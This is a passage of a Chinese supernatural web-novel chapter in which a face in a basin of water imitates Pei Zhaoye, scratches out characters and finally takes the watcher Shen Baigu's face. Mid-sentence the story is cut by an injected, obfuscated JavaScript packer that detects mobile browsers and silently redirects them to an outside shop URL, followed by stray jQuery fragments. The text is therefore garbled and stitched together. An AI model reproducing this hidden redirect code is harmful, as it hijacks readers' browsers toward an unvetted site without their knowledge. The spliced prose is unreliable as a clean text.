它像极了此刻站在祠堂里的裴照夜。可也只是“像”。
沈白骨在看清那张脸的一瞬，后颈便一寸寸发凉。那张脸与裴照夜的轮廓、眉眼、甚至苍白的肤色都几乎没有分别，可真正叫人心里发空的，从来不是相像，而是那点说不出的错位。裴照夜低着头，目光沉在纸上，眉间有一线极轻却压得住事的冷意；盆中的那张脸却抬着眼，安静地望着他，神情里没有活人的提防，也没有惊疑，只有一层过分干净的空白，像是谁先照着裴照夜描出了一张脸，等画到眼睛时，忽然忘了往里填一点真正属于人的东西。
水面原本被雨声与灯影震得微微发颤，可那张脸一浮上来，整盆水反而慢慢静了。静得不像一盆搁在木案边、随时会被风吹皱的雨水，倒像一面故意摆在此处的镜。镜中映着裴照夜的侧脸，也映着她身后那一点一点立起来的影。只是那影在盆里看去，比门边更清楚，几乎已能看出一个人的肩颈轮廓。它就站在裴照夜背后，离她不过半步，却没有贴近，也没有扑上来，而像一个极有耐性的学徒，正隔着水与灯，一点点记她的眼、她的手、她提笔时腕上那一点几不可察的起伏。
门外那道低哑的声音显然也察觉到了不对，陡然低喝：“别看水里。”裴照夜却没有立刻将水盆掀翻。她只是把笔轻轻搁下，指尖按在桌沿上，像是在稳自己，也像是在衡量某种险到极处的可能。片刻后，她竟淡淡道：“不看它，我只知道它长出来了；看它，我也许能知道它究竟长到了哪一步。”门外人几乎是立刻回她：“你借水看它，和回头只差半步。”裴照夜轻轻笑了一下，那笑意很薄，像灯焰边上一点随时会碎掉的亮：“半步，总比一步强。”
沈白骨听得心头发紧，几乎本能地想去拦她，可这层旧夜仍旧把他隔在外头。他只能眼睁睁看着裴照夜缓缓伸出手，食指探进盆中，在冰冷的水面上轻轻一点。水波顿时一圈圈漾开，将那两张几乎重叠的脸暂时揉碎。可也就在这一揉一散之间，盆中那张原本直直望向他的脸，忽然很轻地弯了一下唇角。那不是裴照夜在笑。因为真正的裴照夜，嘴角根本没有动。
这一幕出现得太短，短得像灯下的一点错觉，可沈白骨知道自己没有看错。他心里猛地一沉，几乎同时，门边那道立起来一半的影子也无声往前滑了寸许。它不像在逼近裴照夜，更像在朝水盆靠近，仿佛水中那张脸才是它真正要借的壳。屋外风声忽然急了，撞得窗纸扑扑作响，远处江面上那点若隐若现的白意也跟着一闪一灭，像桥上替人压时辰的那位，此刻也在被这间小屋里悄悄失衡的局一点点拖住。
裴照夜垂眼看着盆中水，许久都没出声。她像是在辨认，又像是在等水里那东西先露出破绽。终于，她低低问了一句：“你现在学会的，是我的眼，还是我的看法？”这话不像问门外人，也不像问自己，分明就是问水里的那张脸。屋里一时静极了，只剩灯焰烧出极细的哔剥声。紧接着，盆中水面竟慢慢浮起一道极浅的纹，不是风吹的，也不是她指尖方才点出来的涟漪，而像有人隔着水，从底下用指甲轻轻划了一道。
那一道水纹弯成了一个字的起笔。沈白骨呼吸一窒。
裴照夜显然也看见了。她眼底终于掠过一丝真正的冷意，却仍旧没有乱，只是把左手悄悄按到了半枚私印旁边。那枚私印先前一直像块死物，这会儿却被水光一照，边缘竟微微泛出一点暗红。门外那道声音变得更沉：“它在学写。裴照夜，不能再等了。”她却忽然道：“不，正因为它在学，我才得看完。若它只会像我，那还只是影；若它连字都会续……”她没有把后半句说完，可谁都听得懂。一个会借眼、会借脸、会借字的“后身”，已经不只是站在名字后头的影子，而是随时可能顺着那名字整个人走出来的东西。
水盆里的纹路没有停。
第一道，第二道，第三道，细细浅浅地叠上来，像一个字还未写成，就已经先被水抹散了大半。可即便如此，沈白骨还是勉强认出了那轮廓。那像是一个“见”字，又不像。更准确些说，它像一个刚学会用水模仿字形的东西，正试着把“看见”这件事本身写出来。盆中的那张脸也就在此时再次抬高了一点，目光越过水波，仍旧死死钉在沈白骨身上。那眼神空得厉害，却因此更显出一种不带情绪的执拗，像它所有的醒、所有的学、所有一点点从影里长出来的活气，都只为了记住这一双多出来的眼。
沈白骨忽然明白了什么，胸口猛地发沉。它不是现在才看见他。更像是直到这一刻，它终于“认”出了他。
这认出的不是他这个人，而是他在今夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834302|211374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祠堂里，用“照骨”照开旧夜的那个位置。换句话说，从他隔着几十年看向这盆水开始，他也已经被这层旧事反过来挂住了一线。若这条线不及时断掉，今夜祠堂里的第四页，未必只会逼裴照夜自己认，恐怕连他这个窥见旧夜的人，也要一起被拖进“谁是真、谁是影”的那口井里。
裴照夜就在这时忽然开口，声音比先前更低，却也更清楚：“多出来的那只眼，若你真能看见这里，就听好。”沈白骨心口狠狠一跳，几乎连呼吸都停了。他知道她未必认得自己是谁，可她分明已经顺着水里那点异常，确定了今夜有人在看，而且这个“看”的人，并不属于这间屋子，也不属于这个年份。门外那人像也怔了一下，立刻压声道：“你疯了？你跟它说话，只会给它借口。”裴照夜却轻轻摇头：“我不是跟它说。”
她说着，右手重新提起笔，却没有落回第四页上，而是缓缓蘸了一点自己指尖刚刚逼出来的血，在桌角一张被潮气浸卷的废纸背面写了一行极小的字。沈白骨看不清那行字的全貌，只来得及辨出最前面几个：“若后来……”她写得很快，像不是怕来不及写完，而是怕自己一旦迟疑，便连这一点专留给后人的口风也要被什么东西偷走。写到最后，她微微一顿，竟将那张小纸反手压进了水盆底下。纸一入水，盆中那张脸便像被烫到似的扭曲了一下，连门边那道影子都跟着猛地抖了抖。
门外人立刻明白了她在做什么，嗓音都哑了半分：“你把话留在水底？”裴照夜没有回头，只淡淡道：“它爱学眼，就让它学个够。水上给它看，水下留给人。”这话里竟有一种近乎冷酷的清明。她像在这一刻终于拿定了主意，不再想着如何把那东西彻底抹去，而是先抢着在它学会一切之前，替后来的人留下一点能辨路的凭证。说完，她抬起手，第一次主动朝水盆那边望去。
不是回头。只是低眼，看水。可也就在这一眼落下的刹那，盆中那张脸陡然活了。
它不再只是映在那里，而是隔着一层水，极轻地张了张口。没有声音，只有唇形。可沈白骨分明看懂了那两个字。它说的是：“看见。”
下一瞬，水盆里的那张脸竟忽然从裴照夜的样子，变成了他自己的脸。苍白，发冷，眼底带着被江雾浸了太久的疲惫与警觉。是沈白骨。